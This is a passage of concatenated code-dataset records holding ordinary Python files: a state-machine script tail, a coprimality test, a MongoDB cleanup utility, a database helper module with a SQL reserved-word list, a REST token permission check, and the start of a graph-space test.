is None)\n\n    def trigger_event(self, etype, **kwargs):\n        if self.machine.currentState() is None:\n            return None\n        event = statepy.state.Event(etype)\n        for key, value in kwargs.iteritems():\n            setattr(event, key, value)\n        self.machine.injectEvent(event)\n        return event\n\n\nif __name__ == '__main__':\n    with open('overlay_registration.dot', 'wb') as in_file:\n        statepy.state.Machine.writeStateGraph(fileobj=in_file, startState=WaitOverlayClickA)\n\n    registration_task = ImageRegistrationTask()\n","sub_path":"opencv_helpers/overlay_registration.py","file_name":"overlay_registration.py","file_ext":"py","file_size_in_byte":6149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"377966948","text":"from com.github.vac.algorithms.number_theory import Coprimality\nfrom com.github.vac.util import TestingFramework\n\ndef testCoprimality() -> bool:\n    m = -4000846301\n    n = -7140493429\n\n    if not Coprimality.isCoprimeByBinaryGCD(m, n):\n        return False\n    if not Coprimality.isCoprimeByEuclidean(m, n):\n        return False\n\n    return True\n\nif __name__ == \"__main__\":\n    TestingFramework.runTest(testCoprimality())\n","sub_path":"Algorithms/NumberTheory/Coprimality/Lambda.py","file_name":"Lambda.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"409377882","text":"#!/usr/bin/python3\n# -*- coding: iso-8859-15 -*-\nimport argparse\nimport pymongo\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--method\",\n        help=\"Only remove runs for a given method.\",\n        default=None\n    )\n    parser.add_argument(\"database\", help=\"Mongo database to drop records from.\")\n    args = parser.parse_args()\n\n    client = pymongo.MongoClient()\n    if args.method is None:\n        client.drop_database(args.database)\n    else:\n        database = client.get_database(args.database)\n        print(database.runs.remove({\"command\": args.method}))\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"remove_data.py","file_name":"remove_data.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"637741495","text":"\"\"\"\r\nThis file provides base class DB objects:\r\n\r\n1. DB - a DB object, connections, cursors, execute, fetchall, fetch, commit, etc.\r\n2. Query - an object for executing a query and allows query field name references for accessing\r\n   data in the results\r\n\"\"\"\r\n#---------------------------------------------------------------------------------------------------\r\n# Python Modules\r\n#---------------------------------------------------------------------------------------------------\r\nimport os\r\nimport re\r\nimport socket\r\nimport sys\r\nimport time\r\nimport traceback\r\n\r\n#---------------------------------------------------------------------------------------------------\r\n# Third Party Modules\r\n#---------------------------------------------------------------------------------------------------\r\n\r\n#---------------------------------------------------------------------------------------------------\r\n# Knowlogic Modules\r\n#---------------------------------------------------------------------------------------------------\r\nfrom utils import util\r\nfrom .ResultRow import ResultRow\r\n\r\n#---------------------------------------------------------------------------------------------------\r\n# Data\r\n#---------------------------------------------------------------------------------------------------\r\n_debug = False\r\n_askDBGagain = True\r\n_debugQueryTime = 0\r\n\r\neDbDebugOff = 0\r\neDbDebugErr = 1\r\neDbDebugAll = 2\r\n\r\n#---------------------------------------------------------------------------------------------------\r\n# Functions\r\n#---------------------------------------------------------------------------------------------------\r\ndef MakeTupleStr( l):\r\n    # create a str tuple representation usable by a DB query\r\n    if len(l) == 0:\r\n        t = '(NULL)'\r\n    else:\r\n        t = str(tuple(l))\r\n        if len(l) == 1:\r\n            t = t.replace(',','')\r\n\r\n    return t\r\n\r\n#---------------------------------------------------------------------------------------------------\r\n# Classes\r\n#---------------------------------------------------------------------------------------------------\r\n\r\n#----------------------------------------------------------------------------------------------\r\nclass DB:\r\n    \"\"\" Quick class to encapsulate DB access \"\"\"\r\n    def __init__( self):\r\n        self.conn = None\r\n        self.cursor = None\r\n        self.queryValid = False\r\n        self.debug = 0\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __del__( self):\r\n        if self.conn:\r\n            self.Close()\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Schema( self):\r\n        \"\"\" return a dictionary of\r\n            table => [(field1, attributes), (field2, attributes)]\r\n            NOTE: all items are in lower case\r\n        \"\"\"\r\n        raise NotImplemented\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def IsSqlReservedWord( self, word):\r\n        return  word.lower() in sqlReservedWords\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Close( self):\r\n        try:\r\n            self.conn.close()\r\n            self.conn = None\r\n            return 1\r\n        except:\r\n            if self.debug > eDbDebugOff:\r\n                print(\"Close: Unexpected error:\\n\", sys.exc_info())\r\n                traceback.print_exc()\r\n            return 0\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Commit( self):\r\n        pass\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Connect( self, connectionString):\r\n        raise NotImplemented\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Query( self, sql, *args):\r\n        qr = None\r\n        if self.Execute( sql, *args):\r\n            data = self.GetAll()\r\n            qr = Query( sql, self, data = data)\r\n        return qr\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Execute( self, sql, *args):\r\n        \"\"\" Execute a query if we have a connection\r\n        Params:\r\n            sql: the query to execute\r\n            *args: any args to supply to the query\r\n        Returns:\r\n            -1: if no connection available\r\n             0: on sql failure\r\n             1: on success\r\n        \"\"\"\r\n        rv = -1\r\n        self.queryValid = False\r\n\r\n        if self.cursor is not None:\r\n            if (self.debug > eDbDebugErr): print(\"Execute: \", sql, args)\r\n            self.queryValid = True\r\n            try:\r\n                if args:\r\n                    self.cursor.execute( sql, args)\r\n                else:\r\n                    self.cursor.execute( sql)\r\n                rv = 1\r\n            except :\r\n                self.queryValid = False\r\n                print(traceback.print_exc(file=sys.stdout))\r\n                print('---------------')\r\n                print(sql)\r\n                if args:\r\n                    for i in args:\r\n                        print(i)\r\n                rv = 0\r\n        return rv\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def GetAll( self, sql = None):\r\n        \"\"\" Execute a query if provided and return the entire result set\r\n        Params:\r\n            sql: an optional sql statement\r\n        Returns:\r\n            if a sql statement is provide the result set from that, otherwise any results\r\n            pending from a previously performed sql execute\r\n            if no connection returns None\r\n        \"\"\"\r\n        start = time.clock()\r\n        if self.cursor:\r\n            if sql: self.Execute( sql)\r\n            if self.queryValid:\r\n                data = self._GetAll()\r\n            else:\r\n                data = None\r\n            self.queryTime = time.clock() - start\r\n        else:\r\n            data = None\r\n            self.queryTime = -1\r\n        return data\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def GetOne( self, sql = None):\r\n        \"\"\" Execute a query if provided and return one from the cursor\r\n            repeat with no sql to work through the cursor\r\n        \"\"\"\r\n        start = time.clock()\r\n        if sql: self.Execute( sql)\r\n        data = GetOne( self.cursor)\r\n        self.queryTime = time.clock() - start\r\n        return data\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    # Utility Functions\r\n    #------------------------------------------------------------------------------------------\r\n    def DebugState( self, state):\r\n        if state:\r\n            self.debug = True\r\n        else:\r\n            self.debug = False\r\n\r\n    #----------------------------------------------------------------------------------------------\r\n    def _GetCursor( self):\r\n        \"\"\" return a cursor for a database \"\"\"\r\n        try:\r\n            self.cursor = self.conn.cursor()\r\n        except:\r\n            if self.debug > eDbDebugOff:\r\n                print(\"GetCursor: Unexpected error:\\n\", sys.exc_info())\r\n                traceback.print_exc()\r\n            self.cursor =  None\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def _GetAll( self):\r\n        \"\"\" Get all results from a query\r\n        Params: None\r\n        Returns:\r\n            a list of the result set on success\r\n            an empty list [] otherwise\r\n        \"\"\"\r\n        try:\r\n            allOfThem =  self.cursor.fetchall()\r\n            if allOfThem == None:\r\n                allOfThem = []\r\n            return allOfThem\r\n        except:\r\n            if (self.debug > eDbDebugOff):\r\n                print(\"GetAll: Unexpected error:\\n\", sys.exc_info())\r\n                traceback.print_exc()\r\n            return []\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def _GetOne( self):\r\n        \"\"\"\r\n        \"\"\"\r\n        try:\r\n            theOne = self.cursor.fetchone()\r\n            if theOne == None:\r\n                theOne = ()\r\n            return theOne\r\n        except:\r\n            if (self.debug > eDbDebugOff):\r\n                print(\"GetOne: Unexpected error:\\n\", sys.exc_info())\r\n                traceback.print_exc()\r\n            return ()\r\n\r\n\r\n#----------------------------------------------------------------------------------------------\r\n#----------------------------------------------------------------------------------------------\r\nclass Query:\r\n    \"\"\" A query Iterator object, allows a result set to be iterated over easily. This object\r\n        allows access to the select fields named in the query, by the names used in the query.\r\n        e.g.,\r\n        sql = 'select a,b from table'\r\n        q = Query(sql)\r\n        for i in q:\r\n            a = i.a\r\n            b = i.b\r\n\r\n        when the fields are qualified such as\r\n            'T.fieldX' the access name becomes fieldX\r\n            'name = T.fieldX' the access name becomes name\r\n            'T.field as name' becomes name\r\n    \"\"\"\r\n    def __init__( self, query, db, data = None):\r\n        \"\"\" Initialize a query object, needs a query\r\n        params:\r\n            query: the query to run, or the query that sourced the data\r\n            db: a DB object to perform the query\r\n            data: if we want to init the Query object with some predefined data\r\n        \"\"\"\r\n        self.index = 0\r\n        self.dataSet = ()\r\n        self.data = None\r\n        self.fields = []\r\n        self.query = query\r\n\r\n        if data == None:\r\n            # get the data and query time\r\n            start = time.clock()\r\n            self.dataSet = db.GetAll( query)\r\n            self.queryTime = time.clock() - start\r\n        else:\r\n            self.dataSet = data\r\n\r\n        self.Reset( query, self.dataSet)\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Reset( self, query, data):\r\n        self.index = 0\r\n        self.dataSet = data\r\n        if data is not None:\r\n            self.length = len( self.dataSet)\r\n        else:\r\n            self.length = 0\r\n\r\n        if self.length > 0:\r\n            self.data = self.dataSet[0]\r\n            if type(self.data) in (list, tuple):\r\n                if len(self.data) == 1:\r\n                    # flatten it into a simple list\r\n                    self.dataSet = [i for i, in self.dataSet]\r\n                    self.data = self.dataSet[0]\r\n                    self.fields = []\r\n                else:\r\n                    # properties creation\r\n                    self.Properties( query)\r\n            else:\r\n                self.fields = []\r\n        else:\r\n            self.data = None\r\n            self.fields = []\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __len__( self):\r\n        \"\"\" return the length of the data set \"\"\"\r\n        return self.length\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __getitem__( self, key):\r\n        \"\"\" return the selected item/slice\r\n            for a slice return a new Query object with the specified slice\r\n        \"\"\"\r\n        if type(key) == slice:\r\n            return Query( self.query, data=self.dataSet[key.start:key.stop:key.step])\r\n        elif abs(key) <= self.length:\r\n            self.data = ResultRow( self.fields, self.dataSet[key])\r\n            return self.data\r\n        else:\r\n            raise IndexError\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __contains__( self, item):\r\n        \"\"\" see if what we want is in the data set \"\"\"\r\n        return item in self.dataSet\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __iter__(self):\r\n        \"\"\" Initialize the iterator \"\"\"\r\n        self.index = 0\r\n        if self.length > 0:\r\n            self.data = self.dataSet[self.index]\r\n        return self\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __next__( self):\r\n        \"\"\" Get the next row form the data set \"\"\"\r\n        if self.index < self.length:\r\n            self.data = ResultRow( self.fields, self.dataSet[self.index])\r\n            self.index += 1\r\n            return self.data\r\n        else:\r\n            raise StopIteration\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __bool__( self):\r\n        \"\"\" Check if the query returned anything eg.\r\n            d = Query(s)\r\n            if d:\r\n                ...\r\n        \"\"\"\r\n        return (self.length > 0)\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def __getattr__( self, name):\r\n        \"\"\" This function provides the capability to fetch data values by the DB field names\r\n            When only one field is requested in the query self.fields = [] and the tuples\r\n            returned are flatten (see reset) so we just return the atomic value fetched which\r\n            is in self.data\r\n        \"\"\"\r\n        if self.dataSet:\r\n            if name in self.fields:\r\n                x = self.fields.index(name)\r\n                return self.data[x]\r\n            elif self.fields == []:\r\n                return self.data\r\n            else:\r\n                raise AttributeError\r\n        else:\r\n            return None\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def reverse( self):\r\n        \"\"\" reverse the order of the dataSet \"\"\"\r\n        if self.length > 0:\r\n            self.dataSet.reverse()\r\n            self.index = 0\r\n            self.data = self.dataSet[0]\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def Properties( self, query):\r\n        \"\"\" build field reference names from the query string for __getattr__\r\n            Make sure we handle sub-selects in the select query\r\n        \"\"\"\r\n        selAt = query.lower().find('select')\r\n        newFields = []\r\n        if selAt != -1:\r\n            fields = self.FindFields( query)\r\n\r\n            # remove SQL functions\r\n            fields = self.SqlFields( fields)\r\n            fields = fields.split(',')\r\n            fields = [i.strip() for i in fields]\r\n\r\n            # process select column syntax\r\n            for field in fields:\r\n                aField = field.lower()\r\n                # change T.F as N to N\r\n                asX = aField.find(' as ')\r\n                if asX != -1:\r\n                    field = field[asX+4:].strip()\r\n                else:\r\n                    # change N = T.F to N\r\n                    eq = field.find('=')\r\n                    if eq != -1:\r\n                        field = field[:eq].strip()\r\n                    else:\r\n                        # change table.field to field\r\n                        per = field.find('.')\r\n                        if per != -1:\r\n                            field = field[per+1:].strip()\r\n                newFields.append( field)\r\n        self.fields = newFields\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def FindFields( self, query):\r\n        \"\"\" Extract the fields of the select handle sub-selects\r\n        \"\"\"\r\n        def Replace( query, txt):\r\n            txtRe = re.compile( txt, re.I)\r\n            texts = txtRe.findall( query)\r\n            for i in texts:\r\n                query = query.replace(i, txt)\r\n            return query\r\n\r\n        # Replace from and where keywords\r\n        query = Replace( query, 'select')\r\n        query = Replace( query, 'from')\r\n        query = Replace( query, 'where')\r\n\r\n        parts = query.split('from')\r\n        if len( parts) == 2:\r\n            fields = parts[0:1]\r\n        else:\r\n            fields = []\r\n            for x,i in enumerate(parts):\r\n                if (i.find('where') != -1 and i.find(')') == -1) or i.find('where') == -1 and x > 0:\r\n                    break\r\n                else:\r\n                    fields.append( i)\r\n\r\n        fields = 'from'.join( fields)\r\n        fields = fields.replace( 'select', '').strip()\r\n        fields = fields.replace('\\n', ' ')\r\n\r\n        return fields\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def SqlFields( self, fields):\r\n        \"\"\" return a string with SQL functions removed by parameter count \"\"\"\r\n        castRE = re.compile( r'cast *\\(.+?\\)', re.IGNORECASE)\r\n        convertRE = re.compile( r'convert *\\(.+?\\)', re.IGNORECASE)\r\n        isnullRE = re.compile( r'isnull *\\(.+?\\)', re.IGNORECASE)\r\n        fieldRE = { castRE:0, convertRE:1, isnullRE:0}\r\n\r\n        for theRE in fieldRE:\r\n            paramNum = fieldRE[theRE]\r\n            fields = self.FieldSearch( fields, theRE, paramNum)\r\n\r\n        #remove single param functions\r\n        single = ('max', 'min', 'sum', 'ceiling', 'floor')\r\n        for i in single:\r\n            reFmt = re.compile( r'%s *\\(.+?\\)' % i, re.IGNORECASE)\r\n            fields = self.FieldSearch( fields, theRE, 0)\r\n\r\n        removeList = ('distinct', '(', ')')\r\n        for i in removeList:\r\n            fields = fields.replace( i, '')\r\n        return fields\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def FieldSearch( self, fields, theRE, paramNum):\r\n        matches = theRE.findall( fields)\r\n        for theMatch in matches:\r\n            replaceStr = self.GetExpression( theMatch, paramNum)\r\n            fields = fields.replace( theMatch, replaceStr)\r\n        return fields\r\n\r\n    #------------------------------------------------------------------------------------------\r\n    def GetExpression( self, aMatch, index):\r\n        # remove before and after the parenthesis inclusive\r\n        lp = aMatch.find('(')\r\n        rp = aMatch.find(')')\r\n        aMatch = aMatch[lp+1:rp]\r\n        # split the string on ','\r\n        a1Match = aMatch.split(',')\r\n        if len(a1Match) == 1:\r\n            # split on 'AS'\r\n            a1Match = aMatch.lower().split(' as ')\r\n        return a1Match[index]\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef DBaccessStr():\r\n    server = input('Enter the server name: ')\r\n    UID = input('Enter the user ID: ')\r\n    password = input('Enter the password: ')\r\n    dbname = input('Enter the DB name: ')\r\n    accessStr = \"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=%s\" % (server, UID,\r\n                                                                             password, dbname)\r\n\r\n    return accessStr\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef GetDB( DBparam = None, special = None):\r\n    \"\"\" Get a DB connection\r\n        DBparam == '__DEFAULT_DB__' provides connection to default DB based on the\r\n                   host machine name.  This is really for the Live servers 'dbserv','webserv'\r\n                   Any machine in Altair will default to the live backup 'Groundsoft_DBSERV'\r\n        special == 'special' means that the special param will hold the login info for the\r\n                   require DB\r\n    \"\"\"\r\n    global _debug\r\n    global _askDBGagain\r\n\r\n    #Open a DB connection, Check to see if we are running this on the live site\r\n    host = socket.gethostname()\r\n    #cwd = os.getcwd()\r\n    p = r'C:\\Knowlogic\\tools\\KsCrLnt\\KsCrLnt.accdb'\r\n    #if host == 'AE415730':\r\n    #    p = r'H:\\PWC\\Knowlogic\\Documents\\Trace\\TraceDB.mdb'\r\n    #elif host == 'Main':\r\n    #    p = r'..\\TraceDB.mdb'\r\n    #elif host == 'Jeff-Laptop':\r\n    #    p = r'I:\\PWC\\Knowlogic\\Documents\\Trace\\TraceDB.mdb'\r\n    #else:\r\n    #    p = r'E:\\PWC\\Knowlogic\\Documents\\Trace\\TraceDB.mdb'\r\n\r\n    DBselect = 'DB'\r\n    if DBselect.lower() == 'special':\r\n        DBselect = 'DB'\r\n        p = special\r\n\r\n    # DB Choices\r\n    DBchoices = {\r\n      \"DB\": r\"DRIVER={Microsoft Access Driver (*.mdb, *.accdb)}; Dbq=%s;\" % p,\r\n    }\r\n\r\n    try:\r\n        login = DBchoices[ DBselect]\r\n        return odbc.odbc( login)\r\n    except:\r\n        print(\"GetDB: Unexpected error:\\n\", sys.exc_info())\r\n        traceback.print_exc()\r\n        return None\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef Close( db):\r\n    \"\"\" Close the DB connection \"\"\"\r\n    try:\r\n        db.close()\r\n        return 1\r\n    except:\r\n        print(\"Close: Unexpected error:\\n\", sys.exc_info())\r\n        traceback.print_exc()\r\n        return 0\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef GetCursor( db):\r\n    \"\"\" return a cursor for a database \"\"\"\r\n    try:\r\n        return db.cursor()\r\n    except:\r\n        print(\"GetCursor: Unexpected error:\\n\", sys.exc_info())\r\n        traceback.print_exc()\r\n        return None\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef GetDBC( DBparam = None, special = None):\r\n    \"\"\" return a Db connection and a cursor\"\"\"\r\n    db = GetDB( DBparam, special)\r\n    c = GetCursor( db)\r\n    return db, c\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef Execute( cursor, sql):\r\n    \"\"\" Execute a SQL statement against a specified cursor \"\"\"\r\n    try:\r\n        if (_debug): print(\"Execute: \", sql)\r\n        cursor.execute( sql)\r\n        return 1\r\n    except:\r\n        if (_debug):\r\n            print(\"Execute: Unexpected error:\\n\", sys.exc_info())\r\n            traceback.print_exc()\r\n        return 0\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef GetAll( c):\r\n    \"\"\" return the cursor result set \"\"\"\r\n    global _debugQueryTime\r\n    try:\r\n        start = time.clock()\r\n        allOfThem = c.fetchall()\r\n        _debugQueryTime = time.clock() - start\r\n        if allOfThem == None:\r\n            allOfThem = []\r\n        return allOfThem\r\n    except:\r\n        if (_debug):\r\n            print(\"GetAll: Unexpected error:\\n\", sys.exc_info())\r\n            traceback.print_exc()\r\n        return []\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef GetOne( c):\r\n    \"\"\" return the top row of the cursor result set working through the set \"\"\"\r\n    global _debugQueryTime\r\n    try:\r\n        start = time.clock()\r\n        theOne = c.fetchone()\r\n        _debugQueryTime = time.clock() - start\r\n        if theOne == None:\r\n            theOne = ()\r\n        return theOne\r\n    except:\r\n        if (_debug):\r\n            print(\"GetOne: Unexpected error:\\n\", sys.exc_info())\r\n            traceback.print_exc()\r\n        return ()\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef DebugState( state):\r\n    global _debug\r\n    if state:\r\n        _debug = True\r\n    else:\r\n        _debug = False\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef GS_DBlist():\r\n    \"\"\" Create a file with table information \"\"\"\r\n    db = DB('__DEFAULT_DB__')\r\n    tables = AllTableList( db)\r\n\r\n    f = file( 'DB.dat', 'w')\r\n\r\n    for i, in tables:\r\n        print('Process: %s' % i)\r\n        str = '------------------ %s' % (i)\r\n        f.write( str + '\\n')\r\n        ListTable( i, db, f)\r\n\r\n    f.write( '%d Tables\\n' % (len(tables)))\r\n    f.close()\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef AllTableList(db):\r\n    \"\"\" Returns a list of every user table in the database \"\"\"\r\n    if not db:\r\n        db = database.DB('__DEFAULT_DB__')\r\n    all = db.GetAll(\"SELECT name FROM sysobjects WHERE xtype='U' ORDER BY name\")\r\n    return all\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef ListTable( table, db, f):\r\n    \"\"\" Get Column info \"\"\"\r\n    info = db.GetAll( \"sp_columns @table_name='%s'\" % table)\r\n    pk = db.GetAll(\"sp_pkeys @table_name='%s'\" % table) # primary key info\r\n    # strip pk column names\r\n    pk = [i[3] for i in pk]\r\n    for i in info:\r\n        str = 'Column[%32s ] Type[%15s ] Nullable[%3s] Primary[ %3s ]' % (\r\n               i[3], i[5], i[10] and 'Yes' or ' No', i[3] in pk and 'Yes' or ' No')\r\n        f.write(str + '\\n')\r\n\r\n#----------------------------------------------------------------------------------------------\r\ndef TestDBexecuteRetry():\r\n    db = DB('__DEFAULT_DB__')\r\n    for i in range(1000):\r\n        s = 'select count(*) from gs_install'\r\n        print('%3d' % i, time.asctime(time.localtime()), db.GetAll(s))\r\n        time.sleep(5)\r\n\r\n\r\nsqlReservedWords = ('absolute',\r\n'action',\r\n'add',\r\n'after',\r\n'all',\r\n'allocate',\r\n'alter',\r\n'and',\r\n'any',\r\n'are',\r\n'array',\r\n'as',\r\n'asc',\r\n'asensitive',\r\n'assertion',\r\n'asymmetric',\r\n'at',\r\n'atomic',\r\n'authorization',\r\n'avg',\r\n'before',\r\n'begin',\r\n'between',\r\n'bigint',\r\n'binary',\r\n'bit',\r\n'bit_length',\r\n'blob',\r\n'boolean',\r\n'both',\r\n'breadth',\r\n'by',\r\n'call',\r\n'called',\r\n'cascade',\r\n'cascaded',\r\n'case',\r\n'cast',\r\n'catalog',\r\n'char',\r\n'character',\r\n'character_length',\r\n'char_length',\r\n'check',\r\n'clob',\r\n'close',\r\n'coalesce',\r\n'collate',\r\n'collation',\r\n'column',\r\n'commit',\r\n'condition',\r\n'connect',\r\n'connection',\r\n'constraint',\r\n'constraints',\r\n'constructor',\r\n'contains',\r\n'continue',\r\n'convert',\r\n'corresponding',\r\n'count',\r\n'create',\r\n'cross',\r\n'cube',\r\n'current',\r\n'current_date',\r\n'current_default_transform_group',\r\n'current_path',\r\n'current_role',\r\n'current_time',\r\n'current_timestamp',\r\n'current_transform_group_for_type',\r\n'current_user',\r\n'cursor',\r\n'cycle',\r\n'data',\r\n'date',\r\n'day',\r\n'deallocate',\r\n'dec',\r\n'decimal',\r\n'declare',\r\n'default',\r\n'deferrable',\r\n'deferred',\r\n'delete',\r\n'depth',\r\n'deref',\r\n'desc',\r\n'describe',\r\n'descriptor',\r\n'deterministic',\r\n'diagnostics',\r\n'disconnect',\r\n'distinct',\r\n'do',\r\n'domain',\r\n'double',\r\n'drop',\r\n'dynamic',\r\n'each',\r\n'element',\r\n'else',\r\n'elseif',\r\n'end',\r\n'equals',\r\n'escape',\r\n'except',\r\n'exception',\r\n'exec',\r\n'execute',\r\n'exists',\r\n'exit',\r\n'external',\r\n'extract',\r\n'false',\r\n'fetch',\r\n'filter',\r\n'first',\r\n'float',\r\n'for',\r\n'foreign',\r\n'found',\r\n'free',\r\n'from',\r\n'full',\r\n'function',\r\n'general',\r\n'get',\r\n'global',\r\n'go',\r\n'goto',\r\n'grant',\r\n'group',\r\n'grouping',\r\n'handler',\r\n'having',\r\n'hold',\r\n'hour',\r\n'identity',\r\n'if',\r\n'immediate',\r\n'in',\r\n'indicator',\r\n'initially',\r\n'inner',\r\n'inout',\r\n'input',\r\n'insensitive',\r\n'insert',\r\n'int',\r\n'integer',\r\n'intersect',\r\n'interval',\r\n'into',\r\n'is',\r\n'isolation',\r\n'iterate',\r\n'join',\r\n'key',\r\n'language',\r\n'large',\r\n'last',\r\n'lateral',\r\n'leading',\r\n'leave',\r\n'left',\r\n'level',\r\n'like',\r\n'local',\r\n'localtime',\r\n'localtimestamp',\r\n'locator',\r\n'loop',\r\n'lower',\r\n'map',\r\n'match',\r\n'max',\r\n'member',\r\n'merge',\r\n'method',\r\n'min',\r\n'minute',\r\n'modifies',\r\n'module',\r\n'month',\r\n'multiset',\r\n'names',\r\n'national',\r\n'natural',\r\n'nchar',\r\n'nclob',\r\n'new',\r\n'next',\r\n'no',\r\n'none',\r\n'not',\r\n'null',\r\n'nullif',\r\n'numeric',\r\n'object',\r\n'octet_length',\r\n'of',\r\n'old',\r\n'on',\r\n'only',\r\n'open',\r\n'option',\r\n'or',\r\n'order',\r\n'ordinality',\r\n'out',\r\n'outer',\r\n'output',\r\n'over',\r\n'overlaps',\r\n'pad',\r\n'parameter',\r\n'partial',\r\n'partition',\r\n'path',\r\n'position',\r\n'precision',\r\n'prepare',\r\n'preserve',\r\n'primary',\r\n'prior',\r\n'privileges',\r\n'procedure',\r\n'public',\r\n'range',\r\n'read',\r\n'reads',\r\n'real',\r\n'recursive',\r\n'ref',\r\n'references',\r\n'referencing',\r\n'relative',\r\n'release',\r\n'repeat',\r\n'resignal',\r\n'restrict',\r\n'result',\r\n'return',\r\n'returns',\r\n'revoke',\r\n'right',\r\n'role',\r\n'rollback',\r\n'rollup',\r\n'routine',\r\n'row',\r\n'rows',\r\n'savepoint',\r\n'schema',\r\n'scope',\r\n'scroll',\r\n'search',\r\n'second',\r\n'section',\r\n'select',\r\n'sensitive',\r\n'session',\r\n'session_user',\r\n'set',\r\n'sets',\r\n'signal',\r\n'similar',\r\n'size',\r\n'smallint',\r\n'some',\r\n'space',\r\n'specific',\r\n'specifictype',\r\n'sql',\r\n'sqlcode',\r\n'sqlerror',\r\n'sqlexception',\r\n'sqlstate',\r\n'sqlwarning',\r\n'start',\r\n'state',\r\n'static',\r\n'sthen',\r\n'submultiset',\r\n'substring',\r\n'sum',\r\n'symmetric',\r\n'system',\r\n'system_user',\r\n'table',\r\n'tablesample',\r\n'temporary',\r\n'then',\r\n'time',\r\n'timestamp',\r\n'timezone_hour',\r\n'timezone_minute',\r\n'to',\r\n'trailing',\r\n'transaction',\r\n'translate',\r\n'translation',\r\n'treat',\r\n'trigger',\r\n'trim',\r\n'true',\r\n'under',\r\n'undo',\r\n'union',\r\n'unique',\r\n'unknown',\r\n'unnest',\r\n'until',\r\n'update',\r\n'upper',\r\n'usage',\r\n'user',\r\n'using',\r\n'value',\r\n'values',\r\n'varchar',\r\n'varying',\r\n'view',\r\n'when',\r\n'whenever',\r\n'where',\r\n'while',\r\n'window',\r\n'with',\r\n'within',\r\n'without',\r\n'work',\r\n'write',\r\n'year',\r\n'zone',)\r\n\r\n#----------------------------------------------------------------------------------------------\r\nif __name__ == '__main__':\r\n    GS_DBlist()\r\n","sub_path":"utils/DB/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":28957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"528255341","text":"from rest_framework import permissions\nfrom settings import local_settings\nfrom station_auth.models import StationToken\ntoken_key_word_origin = local_settings.SCREEN_TOKEN_KEY_WORD\n\n\nclass IsAuthenticatedScreen(permissions.BasePermission):\n    def has_permission(self, request, view):\n\n        if \"HTTP_BIT_TOKEN\" in request.META:\n            token_key_word = request.META[\"HTTP_BIT_TOKEN\"].split()[0]\n            token = request.META[\"HTTP_BIT_TOKEN\"].split()[1]\n\n            if token_key_word == token_key_word_origin and token not in [None, \"\"]:\n                token_obj = StationToken.objects.filter(key=token).first()\n                if token_obj:\n                    return True\n        return False\n","sub_path":"feedbacks/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"408527699","text":"# Test for the method misc.to_tc_path trough misc.tc_v_to_v_path\n\nimport numpy as np\nimport util.miscellaneous as misc\n\nfrom model.space.Space import Space\n\nbranch_number = 6\nvertices_number = branch_number + 1\nedges_number = 2 * branch_number\n\n# I.1.1. space initialization\n\ngraph = np.array([[-1, 0, 1, 2, 3, 4, 5],\n                  [0, -1, 6, -1, -1, -1, 11],\n                  [1, 6, -1, 7, -1, -1, -1],\n                  [2, -1, 7, -1, 8, -1, -1],\n                  [3, -1, -1, 8, -1, 9, -1],\n                  [4, -1, -1, -1, 9, -1, 10],\n                  [5, 11, -1, -1, -1, 10, -1]], dtype=np.int16)\n\n# I.1.2. Edge features initialization\nedge_lgths = []\nfor _ in range(branch_number):\n    edge_lgths.append(4)\n\nfor _ in range(6, edges_number):\n    edge_lgths.append(6)\n\nedge_lgths = np.array(edge_lgths, dtype=np.int16)\n\nedges_to_vertices = np.empty([len(edge_lgths), 2], dtype=np.int16)\nfor i in range(len(graph)):\n    # Retrieval of the existing edges' indices ( > -1) in the column\n    #  of the edges of i\n    for j in np.argwhere(graph[i] > -1):\n        